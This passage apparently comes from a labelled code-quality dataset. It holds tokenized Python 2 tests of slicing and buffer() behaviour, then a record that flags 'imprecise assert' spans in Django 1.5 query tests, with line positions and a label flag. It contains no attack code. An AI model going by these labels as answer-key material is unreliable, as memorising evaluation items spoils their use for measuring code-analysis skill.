"(_", "'", "9876", "5432", "10", "'_", ",_", "'", "ascii", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vere", "q_", "(_", "a_", "[_", ":_", ":_", "-_", "2_", "]_", ",_", "unicode_", "(_", "'", "975", "3", "1", "'_", ",_", "'", "ascii", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vere", "q_", "(_", "a_", "[_", "3_", ":_", ":_", "-_", "2_", "]_", ",_", "unicode_", "(_", "'", "3", "1", "'_", ",_", "'", "ascii", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vere", "q_", "(_", "a_", "[_", "-_", "100_", ":_", "100_", ":_", "]_", ",_", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vere", "q_", "(_", "a_", "[_", "100_", ":_", "-_", "100_", ":_", "-_", "1_", "]_", ",_", "a_", "[_", ":_", ":_", "-_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vere", "q_", "(_", "a_", "[_", "-_", "100_", "L_", ":_", "100_", "L_", ":_", "2_", "L_", "]_", ",_", "unicode_", "(_", "'", "024", "6", "8", "'_", ",_", "'", "ascii", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "'", "6.5", ".2", " ", "Tuples", " ", "[", "see", " ", "test\\u", "tuple", ".", "py", "]'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'", "6.5", ".3", " ", "List", "s", " ", "[", "see", " ", "test\\u", "list", ".", "py", "]'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'", "6.6", " ", "Mappings", " ", "==", " ", "Dict", "ionar", "ies", " ", "[", "see", " ", "test\\u", "dict", ".", "py", "]'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "type_", "(_", "1_", ",_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", "Type", "Error_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "raise_", "Test", "Failed_", ",_", "'", "type", "()", ",", " ", "w", "/", "2", " ", "args", " ", "expected", " ", "Type", "Error", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "type_", "(_", "1_", ",_", "2_", ",_", "3_", ",_", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", "Type", "Error_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "raise_", "Test", "Failed_", ",_", "'", "type", "()", ",", " ", "w", "/", "4", " ", "args", " ", "expected", " ", "Type", "Error", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "XX", "X", ":", " ", "Jy", "tho", "n", " ", "lack", "s", " ", "buffers_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'", "Buffers", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "is", "\\u", "jy", "tho", "n_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "buffer_", "(_", "'", "asd", "f", "'_", ",_", "-_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", "Value", "Error_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "raise_", "Test", "Failed_", ",_", "\"", "buffer", "('", "asd", "f", "',", " ", "-1", ")", " ", "shou", "ld", " ", "raise", " ", "Value", "Error", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cmp_", "(_", "buffer_", "(_", "\"", "abc", "\"_", ")_", ",_", "buffer_", "(_", "\"", "def", "\"_", ")_", ")_", "#", " ", "used", " ", "to", " ", "raise", " ", "a", " ", "warn", "ing", ":", " ", "tp", "\\u", "compare", " ", "did", "n", "'", "t", " ", "return", " ", "-1", ",", " ", "0", ",", " ", "or", " ", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "buffer_", "(_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", "Type", "Error_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "raise_", "Test", "Failed_", ",_", "\"", "buffer", "(", "Non", "e", ")", " ", "shou", "ld", " ", "raise", " ", "Type", "Error", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "a_", "=_", "buffer_", "(_", "'", "asd", "f", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hash_", "(_", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "=_", "a_", "*_", "5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "a_", "==_", "b_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Test", "Failed_", ",_", "'", "buffer", "s", " ", "shou", "ld", " ", "not", " ", "be", " ", "equal", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "str_", "(_", "b_", ")_", "!=_", "(_", "'", "asd", "f", "'_", "*_", "5_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Test", "Failed_", ",_", "'", "repeated", " ", "buffer", " ", "has", " ", "wrong", " ", "content", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "str_", "(_", "a_", "*_", "0_", ")_", "!=_", "''_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Test", "Failed_", ",_", "'", "repeated", " ", "buffer", " ", "zero", " ", "times", " ", "has", " ", "wrong", " ", "content", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "str_", "(_", "a_", "+_", "buffer_", "(_", "'", "def", "'_", ")_", ")_", "!=_", "'", "asd", "fde", "f", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Test", "Failed_", ",_", "'", "concate", "nati", "on", " ", "of", " ", "buffer", "s", " ", "yield", "s", " ", "wrong", " ", "content", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "str_", "(_", "buffer_", "(_", "a_", ")_", ")_", "!=_", "'", "asd", "f", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Test", "Failed_", ",_", "'", "composi", "ng", " ", "buffer", "s", " ", "fail", "ed", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "str_", "(_", "buffer_", "(_", "a_", ",_", "2_", ")_", ")_", "!=_", "'", "df", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Test", "Failed_", ",_", "'", "speci", "fy", "ing", " ", "buffer", " ", "offset", " ", "fail", "ed", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "str_", "(_", "buffer_", "(_", "a_", ",_", "0_", ",_", "2_", ")_", ")_", "!=_", "'", "as", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Test", "Failed_", ",_", "'", "speci", "fy", "ing", " ", "buffer", " ", "size", " ", "fail", "ed", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "str_", "(_", "buffer_", "(_", "a_", ",_", "1_", ",_", "2_", ")_", ")_", "!=_", "'", "sd", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Test", "Failed_", ",_", "'", "speci", "fy", "ing", " ", "buffer", " ", "offset", " ", "and", " ", "size", " ", "fail", "ed", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "buffer_", "(_", "buffer_", "(_", "'", "asd", "f", "'_", ",_", "1_", ")_", ",_", "-_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", "Value", "Error_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "raise_", "Test", "Failed_", ",_", "\"", "buffer", "(", "buffer", "('", "asd", "f", "',", " ", "1", "),", " ", "-1", ")", " ", "shou", "ld", " ", "raise", " ", "Value", "Error", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "str_", "(_", "buffer_", "(_", "buffer_", "(_", "'", "asd", "f", "'_", ",_", "0_", ",_", "2_", ")_", ",_", "0_", ")_", ")_", "!=_", "'", "as", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Test", "Failed_", ",_", "'", "composi", "ng", " ", "length", "-", "specified", " ", "buffer", " ", "fail", "ed", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "str_", "(_", "buffer_", "(_", "buffer_", "(_", "'", "asd", "f", "'_", ",_", "0_", ",_", "2_", ")_", ",_", "0_", ",_", "5000_", ")_", ")_", "!=_", "'", "as", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Test", "Failed_", ",_", "'", "composi", "ng", " ", "length", "-", "specified", " ", "buffer", " ", "fail", "ed", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "str_", "(_", "buffer_", "(_", "buffer_", "(_", "'", "asd", "f", "'_", ",_", "0_", ",_", "2_", ")_", ",_", "0_", ",_", "-_", "1_", ")_", ")_", "!=_", "'", "as", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Test", "Failed_", ",_", "'", "composi", "ng", " ", "length", "-", "specified", " ", "buffer", " ", "fail", "ed", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "str_", "(_", "buffer_", "(_", "buffer_", "(_", "'", "asd", "f", "'_", ",_", "0_", ",_", "2_", ")_", ",_", "1_", ",_", "2_", ")_", ")_", "!=_", "'", "s", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Test", "Failed_", ",_", "'", "composi", "ng", " ", "length", "-", "specified", " ", "buffer", " ", "fail", "ed", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "a_", "[_", "1_", "]_", "=_", "'", "g", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", "Type", "Error_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "raise_", "Test", "Failed_", ",_", "\"", "buffer", " ", "assign", "ment", " ", "shou", "ld", " ", "raise", " ", "Type", "Error", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "a_", "[_", "0_", ":_", "1_", "]_", "=_", "'", "g", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", "Type", "Error_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "raise_", "Test", "Failed_", ",_", "\"", "buffer", " ", "slice", " ", "assign", "ment", " ", "shou", "ld", " ", "raise", " ", "Type", "Error", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "array", ".", "array", "()", " ", "return", "s", " ", "an", " ", "object", " ", "tha", "t", " ", "doe", "s", " ", "not", " ", "implement", " ", "a", " ", "char", " ", "buffer", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "somet", "hing", " ", "whi", "ch", " ", "int", "()", " ", "use", "s", " ", "for", " ", "conve", "rsi", "on", "._", "\\u\\u\\uNL\\u\\u\\u_", "import_", "array_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "int_", "(_", "buffer_", "(_", "array_", "._", "array_", "(_", "'", "c", "'_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", "Type", "Error_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "raise_", "Test", "Failed_", ",_", "\"", "char", " ", "buffer", " ", "(", "at", " ", "C", " ", "level", ")", " ", "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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
AppScale/appscale/AppServer/lib/django-1.5/tests/regressiontests/queries/tests.py
[ { "content": " def test_ticket2306(self):\n # Checking that no join types are \"left outer\" joins.\n query = Item.objects.filter(tags=self.t2).query\n self.assertTrue(query.LOUTER not in [x[2] for x in query.alias_map.values()])\n\n self.assertQuerysetEqual(\n Item.objects.filter(Q(tags=self.t1)).order_by('name'),\n ['<Item: one>', '<Item: two>']\n )\n self.assertQuerysetEqual(\n Item.objects.filter(Q(tags=self.t1)).filter(Q(tags=self.t2)),\n ['<Item: one>']\n )\n self.assertQuerysetEqual(\n Item.objects.filter(Q(tags=self.t1)).filter(Q(creator__name='fred')|Q(tags=self.t2)),\n ['<Item: one>']\n )\n\n # Each filter call is processed \"at once\" against a single table, so this is\n # different from the previous example as it tries to find tags that are two\n # things at once (rather than two tags).\n self.assertQuerysetEqual(\n Item.objects.filter(Q(tags=self.t1) & Q(tags=self.t2)),\n []\n )\n self.assertQuerysetEqual(\n Item.objects.filter(Q(tags=self.t1), Q(creator__name='fred')|Q(tags=self.t2)),\n []\n )\n\n qs = Author.objects.filter(ranking__rank=2, ranking__id=self.rank1.id)\n self.assertQuerysetEqual(list(qs), ['<Author: a2>'])\n self.assertEqual(2, qs.query.count_active_tables(), 2)\n qs = Author.objects.filter(ranking__rank=2).filter(ranking__id=self.rank1.id)\n self.assertEqual(qs.query.count_active_tables(), 3)", "metadata": "root.Queries1Tests.test_ticket2306", "header": "['class', 'Queries1Tests', '(', 'BaseQuerysetTest', ')', ':', '___EOS___']", "index": 108 }, { "content": " def test_tickets_5324_6704(self):\n self.assertQuerysetEqual(\n Item.objects.filter(tags__name='t4'),\n ['<Item: four>']\n )\n self.assertQuerysetEqual(\n Item.objects.exclude(tags__name='t4').order_by('name').distinct(),\n ['<Item: one>', '<Item: three>', '<Item: two>']\n )\n self.assertQuerysetEqual(\n Item.objects.exclude(tags__name='t4').order_by('name').distinct().reverse(),\n ['<Item: two>', '<Item: three>', '<Item: one>']\n )\n self.assertQuerysetEqual(\n Author.objects.exclude(item__name='one').distinct().order_by('name'),\n ['<Author: a2>', '<Author: a3>', '<Author: a4>']\n )\n\n # Excluding across a m2m relation when there is more than one related\n # object associated was problematic.\n self.assertQuerysetEqual(\n Item.objects.exclude(tags__name='t1').order_by('name'),\n ['<Item: four>', '<Item: three>']\n )\n self.assertQuerysetEqual(\n Item.objects.exclude(tags__name='t1').exclude(tags__name='t4'),\n ['<Item: three>']\n )\n\n # Excluding from a relation that cannot be NULL should not use outer joins.\n query = Item.objects.exclude(creator__in=[self.a1, self.a2]).query\n self.assertTrue(query.LOUTER not in [x[2] for x in query.alias_map.values()])\n\n # Similarly, when one of the joins cannot possibly, ever, involve NULL\n # values (Author -> ExtraInfo, in the following), it should never be\n # promoted to a left outer join. So the following query should only\n # involve one \"left outer\" join (Author -> Item is 0-to-many).\n qs = Author.objects.filter(id=self.a1.id).filter(Q(extra__note=self.n1)|Q(item__note=self.n3))\n self.assertEqual(\n len([x[2] for x in qs.query.alias_map.values() if x[2] == query.LOUTER and qs.query.alias_refcount[x[1]]]),\n 1\n )\n\n # The previous changes shouldn't affect nullable foreign key joins.\n self.assertQuerysetEqual(\n Tag.objects.filter(parent__isnull=True).order_by('name'),\n ['<Tag: t1>']\n )\n self.assertQuerysetEqual(\n Tag.objects.exclude(parent__isnull=True).order_by('name'),\n ['<Tag: t2>', '<Tag: t3>', '<Tag: t4>', '<Tag: t5>']\n )\n self.assertQuerysetEqual(\n Tag.objects.exclude(Q(parent__name='t1') | Q(parent__isnull=True)).order_by('name'),\n ['<Tag: t4>', '<Tag: t5>']\n )\n self.assertQuerysetEqual(\n Tag.objects.exclude(Q(parent__isnull=True) | Q(parent__name='t1')).order_by('name'),\n ['<Tag: t4>', '<Tag: t5>']\n )\n self.assertQuerysetEqual(\n Tag.objects.exclude(Q(parent__parent__isnull=True)).order_by('name'),\n ['<Tag: t4>', '<Tag: t5>']\n )\n self.assertQuerysetEqual(\n Tag.objects.filter(~Q(parent__parent__isnull=True)).order_by('name'),\n ['<Tag: t4>', '<Tag: t5>']\n )", "metadata": "root.Queries1Tests.test_tickets_5324_6704", "header": "['class', 'Queries1Tests', '(', 'BaseQuerysetTest', ')', ':', '___EOS___']", "index": 285 }, { "content": " def test_ticket4358(self):\n # If you don't pass any fields to values(), relation fields are\n # returned as \"foo_id\" keys, not \"foo\". For consistency, you should be\n # able to pass \"foo_id\" in the fields list and have it work, too. We\n # actually allow both \"foo\" and \"foo_id\".\n\n # The *_id version is returned by default.\n self.assertTrue('note_id' in ExtraInfo.objects.values()[0])\n\n # You can also pass it in explicitly.\n self.assertValueQuerysetEqual(\n ExtraInfo.objects.values('note_id'),\n [{'note_id': 1}, {'note_id': 2}]\n )\n\n # ...or use the field name.\n self.assertValueQuerysetEqual(\n ExtraInfo.objects.values('note'),\n [{'note': 1}, {'note': 2}]\n )", "metadata": "root.Queries1Tests.test_ticket4358", "header": "['class', 'Queries1Tests', '(', 'BaseQuerysetTest', ')', ':', '___EOS___']", "index": 474 }, { "content": " def test_ticket10742(self):\n # Queries used in an __in clause don't execute subqueries\n\n subq = Author.objects.filter(num__lt=3000)\n qs = Author.objects.filter(pk__in=subq)\n self.assertQuerysetEqual(qs, ['<Author: a1>', '<Author: a2>'])\n\n # The subquery result cache should not be populated\n self.assertTrue(subq._result_cache is None)\n\n subq = Author.objects.filter(num__lt=3000)\n qs = Author.objects.exclude(pk__in=subq)\n self.assertQuerysetEqual(qs, ['<Author: a3>', '<Author: a4>'])\n\n # The subquery result cache should not be populated\n self.assertTrue(subq._result_cache is None)\n\n subq = Author.objects.filter(num__lt=3000)\n self.assertQuerysetEqual(\n Author.objects.filter(Q(pk__in=subq) & Q(name='a1')),\n ['<Author: a1>']\n )\n\n # The subquery result cache should not be populated\n self.assertTrue(subq._result_cache is None)", "metadata": "root.Queries1Tests.test_ticket10742", "header": "['class', 'Queries1Tests', '(', 'BaseQuerysetTest', ')', ':', '___EOS___']", "index": 747 }, { "content": " def test_order_by_resetting(self):\n # Calling order_by() with no parameters removes any existing ordering on the\n # model. But it should still be possible to add new ordering after that.\n qs = Author.objects.order_by().order_by('name')\n self.assertTrue('ORDER BY' in qs.query.get_compiler(qs.db).as_sql()[0])", "metadata": "root.Queries4Tests.test_order_by_resetting", "header": "['class', 'Queries4Tests', '(', 'BaseQuerysetTest', ')', ':', '___EOS___']", "index": 1095 }, { "content": " def test_join_already_in_query(self):\n # Ordering by model related to nullable relations should not change\n # the join type of already existing joins.\n Plaything.objects.create(name=\"p1\")\n s = SingleObject.objects.create(name='s')\n r = RelatedObject.objects.create(single=s)\n Plaything.objects.create(name=\"p2\", others=r)\n qs = Plaything.objects.all().filter(others__isnull=False).order_by('pk')\n self.assertTrue('INNER' in str(qs.query))\n qs = qs.order_by('others__single__name')\n # The ordering by others__single__pk will add one new join (to single)\n # and that join must be LEFT join. The already existing join to related\n # objects must be kept INNER. So, we have both a INNER and a LEFT join\n # in the query.\n self.assertTrue('LEFT' in str(qs.query))\n self.assertTrue('INNER' in str(qs.query))\n self.assertQuerysetEqual(\n qs,\n ['<Plaything: p2>']\n )", "metadata": "root.NullableRelOrderingTests.test_join_already_in_query", "header": "['class', 'NullableRelOrderingTests', '(', 'TestCase', ')', ':', '___EOS___']", "index": 1387 } ]
[ { "span": "self.assertTrue(query.LOUTER not in [x[2] for x in query.alias_map.values()])", "start_line": 111, "start_column": 8, "end_line": 111, "end_column": 85 }, { "span": "self.assertTrue(query.LOUTER not in [x[2] for x in query.alias_map.values()])", "start_line": 316, "start_column": 8, "end_line": 316, "end_column": 85 }, { "span": "self.assertTrue('note_id' in ExtraInfo.objects.values()[0])", "start_line": 481, "start_column": 8, "end_line": 481, "end_column": 67 }, { "span": "self.assertTrue(subq._result_cache is None)", "start_line": 755, "start_column": 8, "end_line": 755, "end_column": 51 }, { "span": "self.assertTrue(subq._result_cache is None)", "start_line": 762, "start_column": 8, "end_line": 762, "end_column": 51 }, { "span": "self.assertTrue(subq._result_cache is None)", "start_line": 771, "start_column": 8, "end_line": 771, "end_column": 51 }, { "span": "self.assertTrue('ORDER BY' in qs.query.get_compiler(qs.db).as_sql()[0])", "start_line": 1099, "start_column": 8, "end_line": 1099, "end_column": 79 }, { "span": "self.assertTrue('INNER' in str(qs.query))", "start_line": 1395, "start_column": 8, "end_line": 1395, "end_column": 49 }, { "span": "self.assertTrue('LEFT' in str(qs.query))", "start_line": 1401, "start_column": 8, "end_line": 1401, "end_column": 48 }, { "span": "self.assertTrue('INNER' in str(qs.query))", "start_line": 1402, "start_column": 8, "end_line": 1402, "end_column": 49 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Querie", "s1", "Tests_", "(_", "Base", "Query", "set", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "tick", "et", "230", "6_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Check", "ing", " ", "tha", "t", " ", "no", " ", "join", " ", "types", " ", "are", " ", "\"", "left", " ", "outer", "\"", " ", "joins", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "query_", "=_", "Item_", "._", "objects_", "._", "filter_", "(_", "tags_", "=_", "self_", "._", "t2_", ")_", "._", "query_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "query_", "._", "LO", "UT", "ER_", "not_", "in_", "[_", "x_", "[_", "2_", "]_", "for_", "x_", "in_", "query_", "._", "alias", "\\u", "map_", "._", "values_", "(_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Query", "set", "Equal_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Item_", "._", "objects_", "._", "filter_", "(_", "Q_", "(_", "tags_", "=_", "self_", "._", "t1_", ")_", ")_", "._", "order", "\\u", "by_", "(_", "'", "name", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'<", "Item", ":", " ", "one", ">'_", ",_", "'<", "Item", ":", " ", "two", ">'_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Query", "set", "Equal_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Item_", "._", "objects_", "._", "filter_", "(_", "Q_", "(_", "tags_", "=_", "self_", "._", "t1_", ")_", ")_", "._", "filter_", "(_", "Q_", "(_", "tags_", "=_", "self_", "._", "t2_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'<", "Item", ":", " ", "one", ">'_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Query", "set", "Equal_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Item_", "._", "objects_", "._", "filter_", "(_", "Q_", "(_", "tags_", "=_", "self_", "._", "t1_", ")_", ")_", "._", "filter_", "(_", "Q_", "(_", "creat", "or\\u\\u", "name_", "=_", "'", "fre", "d", "'_", ")_", "|_", "Q_", "(_", "tags_", "=_", "self_", "._", "t2_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'<", "Item", ":", " ", "one", ">'_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Ea", "ch", " ", "filter", " ", "call", " ", "is", " ", "process", "ed", " ", "\"", "at", " ", "onc", "e", "\"", " ", "against", " ", "a", " ", "single", " ", "table", ",", " ", "so", " ", "this", " ", "is_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "different", " ", "from", " ", "the", " ", "previ", "ous", " ", "example", " ", "as", " ", "it", " ", "trie", "s", " ", "to", " ", "find", " ", "tags", " ", "tha", "t", " ", "are", " ", "two_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "thing", "s", " ", "at", " ", "onc", "e", " ", "(", "rat", "her", " ", "than", " ", "two", " ", "tags", ").", "_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Query", "set", "Equal_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Item_", "._", "objects_", "._", "filter_", "(_", "Q_", "(_", "tags_", "=_", "self_", "._", "t1_", ")_", "&_", "Q_", "(_", "tags_", "=_", "self_", "._", "t2_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Query", "set", "Equal_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Item_", "._", "objects_", "._", "filter_", "(_", "Q_", "(_", "tags_", "=_", "self_", "._", "t1_", ")_", ",_", "Q_", "(_", "creat", "or\\u\\u", "name_", "=_", "'", "fre", "d", "'_", ")_", "|_", "Q_", "(_", "tags_", "=_", "self_", "._", "t2_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "qs_", "=_", "Author_", "._", "objects_", "._", "filter_", "(_", "ranking", "\\u\\u", "rank_", "=_", "2_", ",_", "ranking", "\\u\\u", "id_", "=_", "self_", "._", "rank", "1_", "._", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Query", "set", "Equal_", "(_", "list_", "(_", "qs_", ")_", ",_", "[_", "'<", "Author", ":", " ", "a2", ">'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "2_", ",_", "qs_", "._", "query_", "._", "count", "\\u", "active", "\\u", "tables_", "(_", ")_", ",_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "qs_", "=_", "Author_", "._", "objects_", "._", "filter_", "(_", "ranking", "\\u\\u", "rank_", "=_", "2_", ")_", "._", "filter_", "(_", "ranking", "\\u\\u", "id_", "=_", "self_", "._", "rank", "1_", "._", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", 